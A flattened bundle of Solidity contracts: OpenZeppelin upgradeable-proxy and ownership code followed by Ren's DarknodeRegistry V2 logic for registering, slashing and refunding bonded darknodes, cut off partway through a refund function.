* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/ownership/Ownable.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Ownable implementation from an openzeppelin version.
*/
contract OpenZeppelinUpgradesOwnable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.0;
import './BaseAdminUpgradeabilityProxy.sol';
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
pragma solidity ^0.5.0;
import './UpgradeabilityProxy.sol';
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
pragma solidity ^0.5.0;
import './Proxy.sol';
import '../utils/Address.sol';
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
pragma solidity ^0.5.0;
import './BaseAdminUpgradeabilityProxy.sol';
import './InitializableUpgradeabilityProxy.sol';
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
pragma solidity ^0.5.0;
import './BaseUpgradeabilityProxy.sol';
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
pragma solidity ^0.5.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
pragma solidity ^0.5.0;
import "../ownership/Ownable.sol";
import "./AdminUpgradeabilityProxy.sol";
/**
* @title ProxyAdmin
* @dev This contract is the admin of a proxy, and is in charge
* of upgrading it as well as transferring it to another admin.
*/
contract ProxyAdmin is OpenZeppelinUpgradesOwnable {
/**
* @dev Returns the current implementation of a proxy.
* This is needed because only the proxy admin can query it.
* @return The address of the current implementation of the proxy.
*/
function getProxyImplementation(AdminUpgradeabilityProxy proxy) public view returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Returns the admin of a proxy. Only the admin can query it.
* @return The address of the current admin of the proxy.
*/
function getProxyAdmin(AdminUpgradeabilityProxy proxy) public view returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Changes the admin of a proxy.
* @param proxy Proxy to change admin.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeProxyAdmin(AdminUpgradeabilityProxy proxy, address newAdmin) public onlyOwner {
proxy.changeAdmin(newAdmin);
}
/**
* @dev Upgrades a proxy to the newest implementation of a contract.
* @param proxy Proxy to be upgraded.
* @param implementation the address of the Implementation.
*/
function upgrade(AdminUpgradeabilityProxy proxy, address implementation) public onlyOwner {
proxy.upgradeTo(implementation);
}
/**
* @dev Upgrades a proxy to the newest implementation of a contract and forwards a function call to it.
* This is useful to initialize the proxied contract.
* @param proxy Proxy to be upgraded.
* @param implementation Address of the Implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeAndCall(AdminUpgradeabilityProxy proxy, address implementation, bytes memory data) payable public onlyOwner {
proxy.upgradeToAndCall.value(msg.value)(implementation, data);
}
}
pragma solidity ^0.5.0;
import './BaseUpgradeabilityProxy.sol';
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
pragma solidity ^0.5.0;
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/cryptography/ECDSA.sol";
import "@openzeppelin/upgrades/contracts/upgradeability/InitializableAdminUpgradeabilityProxy.sol";
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "../RenToken/RenToken.sol";
import "./DarknodeRegistryStore.sol";
import "../Governance/Claimable.sol";
import "../libraries/CanReclaimTokens.sol";
import "./DarknodeRegistryV1.sol";
contract DarknodeRegistryStateV2 {}
/// @notice DarknodeRegistry is responsible for the registration and
/// deregistration of Darknodes.
contract DarknodeRegistryLogicV2 is
Claimable,
CanReclaimTokens,
DarknodeRegistryStateV1,
DarknodeRegistryStateV2
{
using SafeMath for uint256;
/// @notice Emitted when a darknode is registered.
/// @param _darknodeOperator The owner of the darknode.
/// @param _darknodeID The ID of the darknode that was registered.
/// @param _bond The amount of REN that was transferred as bond.
event LogDarknodeRegistered(
address indexed _darknodeOperator,
address indexed _darknodeID,
uint256 _bond
);
/// @notice Emitted when a darknode is deregistered.
/// @param _darknodeOperator The owner of the darknode.
/// @param _darknodeID The ID of the darknode that was deregistered.
event LogDarknodeDeregistered(
address indexed _darknodeOperator,
address indexed _darknodeID
);
/// @notice Emitted when a refund has been made.
/// @param _darknodeOperator The owner of the darknode.
/// @param _darknodeID The ID of the darknode that was refunded.
/// @param _amount The amount of REN that was refunded.
event LogDarknodeRefunded(
address indexed _darknodeOperator,
address indexed _darknodeID,
uint256 _amount
);
/// @notice Emitted when a recovery has been made.
/// @param _darknodeOperator The owner of the darknode.
/// @param _darknodeID The ID of the darknode that was recovered.
/// @param _bondRecipient The address that received the bond.
/// @param _submitter The address that called the recover method.
event LogDarknodeRecovered(
address indexed _darknodeOperator,
address indexed _darknodeID,
address _bondRecipient,
address indexed _submitter
);
/// @notice Emitted when a darknode's bond is slashed.
/// @param _darknodeOperator The owner of the darknode.
/// @param _darknodeID The ID of the darknode that was slashed.
/// @param _challenger The address of the account that submitted the challenge.
/// @param _percentage The total percentage of bond slashed.
event LogDarknodeSlashed(
address indexed _darknodeOperator,
address indexed _darknodeID,
address indexed _challenger,
uint256 _percentage
);
/// @notice Emitted when a new epoch has begun.
event LogNewEpoch(uint256 indexed epochhash);
/// @notice Emitted when a constructor parameter has been updated.
event LogMinimumBondUpdated(
uint256 _previousMinimumBond,
uint256 _nextMinimumBond
);
event LogMinimumPodSizeUpdated(
uint256 _previousMinimumPodSize,
uint256 _nextMinimumPodSize
);
event LogMinimumEpochIntervalUpdated(
uint256 _previousMinimumEpochInterval,
uint256 _nextMinimumEpochInterval
);
event LogSlasherUpdated(
address indexed _previousSlasher,
address indexed _nextSlasher
);
event LogDarknodePaymentUpdated(
address indexed _previousDarknodePayment,
address indexed _nextDarknodePayment
);
/// @notice Restrict a function to the owner that registered the darknode.
modifier onlyDarknodeOperator(address _darknodeID) {
require(
store.darknodeOperator(_darknodeID) == msg.sender,
"DarknodeRegistry: must be darknode owner"
);
_;
}
/// @notice Restrict a function to unregistered darknodes.
modifier onlyRefunded(address _darknodeID) {
require(
isRefunded(_darknodeID),
"DarknodeRegistry: must be refunded or never registered"
);
_;
}
/// @notice Restrict a function to refundable darknodes.
modifier onlyRefundable(address _darknodeID) {
require(
isRefundable(_darknodeID),
"DarknodeRegistry: must be deregistered for at least one epoch"
);
_;
}
/// @notice Restrict a function to registered nodes without a pending
/// deregistration.
modifier onlyDeregisterable(address _darknodeID) {
require(
isDeregisterable(_darknodeID),
"DarknodeRegistry: must be deregisterable"
);
_;
}
/// @notice Restrict a function to the Slasher contract.
modifier onlySlasher() {
require(
address(slasher) == msg.sender,
"DarknodeRegistry: must be slasher"
);
_;
}
/// @notice Restrict a function to registered and deregistered nodes.
modifier onlyDarknode(address _darknodeID) {
require(
isRegistered(_darknodeID) || isDeregistered(_darknodeID),
"DarknodeRegistry: invalid darknode"
);
_;
}
/// @notice The contract constructor.
///
/// @param _VERSION A string defining the contract version.
/// @param _renAddress The address of the RenToken contract.
/// @param _storeAddress The address of the DarknodeRegistryStore contract.
/// @param _minimumBond The minimum bond amount that can be submitted by a
/// Darknode.
/// @param _minimumPodSize The minimum size of a Darknode pod.
/// @param _minimumEpochIntervalSeconds The minimum number of seconds between epochs.
function initialize(
string memory _VERSION,
RenToken _renAddress,
DarknodeRegistryStore _storeAddress,
uint256 _minimumBond,
uint256 _minimumPodSize,
uint256 _minimumEpochIntervalSeconds,
uint256 _deregistrationIntervalSeconds
) public initializer {
Claimable.initialize(msg.sender);
CanReclaimTokens.initialize(msg.sender);
VERSION = _VERSION;
store = _storeAddress;
ren = _renAddress;
minimumBond = _minimumBond;
nextMinimumBond = minimumBond;
minimumPodSize = _minimumPodSize;
nextMinimumPodSize = minimumPodSize;
minimumEpochInterval = _minimumEpochIntervalSeconds;
nextMinimumEpochInterval = minimumEpochInterval;
deregistrationInterval = _deregistrationIntervalSeconds;
uint256 epochhash = uint256(blockhash(block.number - 1));
currentEpoch = Epoch({
epochhash: epochhash,
blocktime: block.timestamp
});
emit LogNewEpoch(epochhash);
}
/// @notice Register a darknode and transfer the bond to this contract.
/// Before registering, the bond transfer must be approved in the REN
/// contract. The caller must provide a public encryption key for the
/// darknode. The darknode will remain pending registration until the next
/// epoch. Only after this period can the darknode be deregistered. The
/// caller of this method will be stored as the owner of the darknode.
///
/// @param _darknodeID The darknode ID that will be registered.
function registerNode(address _darknodeID)
public
onlyRefunded(_darknodeID)
{
require(
_darknodeID != address(0),
"DarknodeRegistry: darknode address cannot be zero"
);
// Use the current minimum bond as the darknode's bond and transfer bond to store
require(
ren.transferFrom(msg.sender, address(store), minimumBond),
"DarknodeRegistry: bond transfer failed"
);
// Flag this darknode for registration
store.appendDarknode(
_darknodeID,
msg.sender,
minimumBond,
"",
currentEpoch.blocktime.add(minimumEpochInterval),
0
);
numDarknodesNextEpoch = numDarknodesNextEpoch.add(1);
// Emit an event.
emit LogDarknodeRegistered(msg.sender, _darknodeID, minimumBond);
}
/// @notice An alias for `registerNode` that includes the legacy public key
/// parameter.
/// @param _darknodeID The darknode ID that will be registered.
/// @param _publicKey Deprecated parameter - see `registerNode`.
function register(address _darknodeID, bytes calldata _publicKey) external {
return registerNode(_darknodeID);
}
/// @notice Register multiple darknodes and transfer the bonds to this contract.
/// Before registering, the bonds transfer must be approved in the REN contract.
/// The darknodes will remain pending registration until the next epoch. Only
/// after this period can the darknodes be deregistered. The caller of this method
/// will be stored as the owner of each darknode. If one registration fails, all
/// registrations fail.
/// @param _darknodeIDs The darknode IDs that will be registered.
function registerMultiple(address[] calldata _darknodeIDs) external {
// Save variables in memory to prevent redundant reads from storage
DarknodeRegistryStore _store = store;
Epoch memory _currentEpoch = currentEpoch;
uint256 nextRegisteredAt = _currentEpoch.blocktime.add(
minimumEpochInterval
);
uint256 _minimumBond = minimumBond;
require(
ren.transferFrom(
msg.sender,
address(_store),
_minimumBond.mul(_darknodeIDs.length)
),
"DarknodeRegistry: bond transfers failed"
);
for (uint256 i = 0; i < _darknodeIDs.length; i++) {
address darknodeID = _darknodeIDs[i];
uint256 registeredAt = _store.darknodeRegisteredAt(darknodeID);
uint256 deregisteredAt = _store.darknodeDeregisteredAt(darknodeID);
require(
_isRefunded(registeredAt, deregisteredAt),
"DarknodeRegistry: must be refunded or never registered"
);
require(
darknodeID != address(0),
"DarknodeRegistry: darknode address cannot be zero"
);
_store.appendDarknode(
darknodeID,
msg.sender,
_minimumBond,
"",
nextRegisteredAt,
0
);
emit LogDarknodeRegistered(msg.sender, darknodeID, _minimumBond);
}
numDarknodesNextEpoch = numDarknodesNextEpoch.add(_darknodeIDs.length);
}
/// @notice Deregister a darknode. The darknode will not be deregistered
/// until the end of the epoch. After another epoch, the bond can be
/// refunded by calling the refund method.
/// @param _darknodeID The darknode ID that will be deregistered. The caller
/// of this method must be the owner of this darknode.
function deregister(address _darknodeID)
external
onlyDeregisterable(_darknodeID)
onlyDarknodeOperator(_darknodeID)
{
deregisterDarknode(_darknodeID);
}
/// @notice Deregister multiple darknodes. The darknodes will not be
/// deregistered until the end of the epoch. After another epoch, their
/// bonds can be refunded by calling the refund or refundMultiple methods.
/// If one deregistration fails, all deregistrations fail.
/// @param _darknodeIDs The darknode IDs that will be deregistered. The
/// caller of this method must be the owner of each darknode.
function deregisterMultiple(address[] calldata _darknodeIDs) external {
// Save variables in memory to prevent redundant reads from storage
DarknodeRegistryStore _store = store;
Epoch memory _currentEpoch = currentEpoch;
uint256 _minimumEpochInterval = minimumEpochInterval;
for (uint256 i = 0; i < _darknodeIDs.length; i++) {
address darknodeID = _darknodeIDs[i];
uint256 deregisteredAt = _store.darknodeDeregisteredAt(darknodeID);
bool registered = isRegisteredInEpoch(
_store.darknodeRegisteredAt(darknodeID),
deregisteredAt,
_currentEpoch
);
require(
_isDeregisterable(registered, deregisteredAt),
"DarknodeRegistry: must be deregisterable"
);
require(
_store.darknodeOperator(darknodeID) == msg.sender,
"DarknodeRegistry: must be darknode owner"
);
_store.updateDarknodeDeregisteredAt(
darknodeID,
_currentEpoch.blocktime.add(_minimumEpochInterval)
);
emit LogDarknodeDeregistered(msg.sender, darknodeID);
}
numDarknodesNextEpoch = numDarknodesNextEpoch.sub(_darknodeIDs.length);
}
/// @notice Progress the epoch if it is possible to do so. This captures
/// the current timestamp and current blockhash and overrides the current
/// epoch.
function epoch() external {
if (previousEpoch.blocktime == 0) {
// The first epoch must be called by the owner of the contract
require(
msg.sender == owner(),
"DarknodeRegistry: not authorized to call first epoch"
);
}
// Require that the epoch interval has passed
require(
block.timestamp >= currentEpoch.blocktime.add(minimumEpochInterval),
"DarknodeRegistry: epoch interval has not passed"
);
uint256 epochhash = uint256(blockhash(block.number - 1));
// Update the epoch hash and timestamp
previousEpoch = currentEpoch;
currentEpoch = Epoch({
epochhash: epochhash,
blocktime: block.timestamp
});
// Update the registry information
numDarknodesPreviousEpoch = numDarknodes;
numDarknodes = numDarknodesNextEpoch;
// If any update functions have been called, update the values now
if (nextMinimumBond != minimumBond) {
minimumBond = nextMinimumBond;
emit LogMinimumBondUpdated(minimumBond, nextMinimumBond);
}
if (nextMinimumPodSize != minimumPodSize) {
minimumPodSize = nextMinimumPodSize;
emit LogMinimumPodSizeUpdated(minimumPodSize, nextMinimumPodSize);
}
if (nextMinimumEpochInterval != minimumEpochInterval) {
minimumEpochInterval = nextMinimumEpochInterval;
emit LogMinimumEpochIntervalUpdated(
minimumEpochInterval,
nextMinimumEpochInterval
);
}
if (nextSlasher != slasher) {
slasher = nextSlasher;
emit LogSlasherUpdated(address(slasher), address(nextSlasher));
}
// Emit an event
emit LogNewEpoch(epochhash);
}
/// @notice Allows the contract owner to initiate an ownership transfer of
/// the DarknodeRegistryStore.
/// @param _newOwner The address to transfer the ownership to.
function transferStoreOwnership(DarknodeRegistryLogicV2 _newOwner)
external
onlyOwner
{
store.transferOwnership(address(_newOwner));
_newOwner.claimStoreOwnership();
}
/// @notice Claims ownership of the store passed in to the constructor.
/// `transferStoreOwnership` must have previously been called when
/// transferring from another Darknode Registry.
function claimStoreOwnership() external {
store.claimOwnership();
// Sync state with new store.
// Note: numDarknodesPreviousEpoch is set to 0 for a newly deployed DNR.
(
numDarknodesPreviousEpoch,
numDarknodes,
numDarknodesNextEpoch
) = getDarknodeCountFromEpochs();
}
/// @notice Allows the contract owner to update the minimum bond.
/// @param _nextMinimumBond The minimum bond amount that can be submitted by
/// a darknode.
function updateMinimumBond(uint256 _nextMinimumBond) external onlyOwner {
// Will be updated next epoch
nextMinimumBond = _nextMinimumBond;
}
/// @notice Allows the contract owner to update the minimum pod size.
/// @param _nextMinimumPodSize The minimum size of a pod.
function updateMinimumPodSize(uint256 _nextMinimumPodSize)
external
onlyOwner
{
// Will be updated next epoch
nextMinimumPodSize = _nextMinimumPodSize;
}
/// @notice Allows the contract owner to update the minimum epoch interval.
/// @param _nextMinimumEpochInterval The minimum number of blocks between epochs.
function updateMinimumEpochInterval(uint256 _nextMinimumEpochInterval)
external
onlyOwner
{
// Will be updated next epoch
nextMinimumEpochInterval = _nextMinimumEpochInterval;
}
/// @notice Allow the contract owner to update the DarknodeSlasher contract
/// address.
/// @param _slasher The new slasher address.
function updateSlasher(IDarknodeSlasher _slasher) external onlyOwner {
nextSlasher = _slasher;
}
/// @notice Allow the DarknodeSlasher contract to slash a portion of darknode's
/// bond and deregister it.
/// @param _guilty The guilty prover whose bond is being slashed.
/// @param _challenger The challenger who should receive a portion of the bond as reward.
/// @param _percentage The total percentage of bond to be slashed.
function slash(
address _guilty,
address _challenger,
uint256 _percentage
) external onlySlasher onlyDarknode(_guilty) {
require(_percentage <= 100, "DarknodeRegistry: invalid percent");
// If the darknode has not been deregistered then deregister it
if (isDeregisterable(_guilty)) {
deregisterDarknode(_guilty);
}
uint256 totalBond = store.darknodeBond(_guilty);
uint256 penalty = totalBond.div(100).mul(_percentage);
uint256 challengerReward = penalty.div(2);
uint256 slasherPortion = penalty.sub(challengerReward);
if (challengerReward > 0) {
// Slash the bond of the failed prover
store.updateDarknodeBond(_guilty, totalBond.sub(penalty));
// Forward the remaining amount to be handled by the slasher.
require(
ren.transfer(msg.sender, slasherPortion),
"DarknodeRegistry: reward transfer to slasher failed"
);
require(
ren.transfer(_challenger, challengerReward),
"DarknodeRegistry: reward transfer to challenger failed"
);
}
emit LogDarknodeSlashed(
store.darknodeOperator(_guilty),
_guilty,
_challenger,
_percentage
);
}
/// @notice Refund the bond of a deregistered darknode. This will make the
/// darknode available for registration again.
///
/// @param _darknodeID The darknode ID that will be refunded.
function refund(address _darknodeID)
external
onlyRefundable(_darknodeID)
onlyDarknodeOperator(_darknodeID)
{
// Remember the bond amount
uint256 amount = store.darknodeBond(_darknodeID);
// Erase the darknode from the registry
store.removeDarknode(_darknodeID);
// Refund the operator by transferring REN
require(
ren.transfer(msg.sender, amount),
"DarknodeRegistry: bond transfer failed"
);
// Emit an event.
emit LogDarknodeRefunded(msg.sender, _darknodeID, amount);
}
/// @notice A permissioned method for refunding a darknode without the usual
/// delay. The operator must provide a signature of the darknode ID and the
/// bond recipient, but the call must come from the contract's owner. The
/// main use case is for when an operator's keys have been compromised,
/// allowing for the bonds to be recovered by the operator through the
/// GatewayRegistry's governance. It is expected that this process would
/// happen towards the end of the darknode's deregistered period, so that
/// a malicious operator can't use this to quickly exit their stake after
/// attempting an attack on the network. It's also expected that the
/// operator will not re-register the same darknode again.
function recover(
address _darknodeID,
address _bondRecipient,
bytes calldata _signature
) external onlyOwner {
require(
isRefundable(_darknodeID) || isDeregistered(_darknodeID),
"DarknodeRegistry: must be deregistered"
);
address darknodeOperator = store.darknodeOperator(_darknodeID);
require(
ECDSA.recover(
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n64",
"DarknodeRegistry.recover",
_darknodeID,
_bondRecipient
)
),
_signature
) == darknodeOperator,
"DarknodeRegistry: invalid signature"
);
// Remember the bond amount
uint256 amount = store.darknodeBond(_darknodeID);
// Erase the darknode from the registry
store.removeDarknode(_darknodeID);
// Refund the operator by transferring REN
require(
ren.transfer(_bondRecipient, amount),
"DarknodeRegistry: bond transfer failed"
);
// Emit an event.
emit LogDarknodeRefunded(darknodeOperator, _darknodeID, amount);
emit LogDarknodeRecovered(
darknodeOperator,
_darknodeID,
_bondRecipient,
msg.sender
);
}
/// @notice Refund the bonds of multiple deregistered darknodes. This will
/// make the darknodes available for registration again. If one refund fails,
/// all refunds fail.
/// @param _darknodeIDs The darknode IDs that will be refunded.
function refundMultiple(address[] calldata _darknodeIDs) external {
// Save variables in memory to prevent redundant reads from storage
DarknodeRegistryStore _store = store;
Epoch memory _currentEpoch = currentEpoch;
Epoch memory _previousEpoch = previousEpoch;
uint256 _deregistrationInterval = deregistrationInterval;
// The sum of bonds to refund
uint256 sum;
for (uint256 i = 0; i < _darknodeIDs.length; i++) {
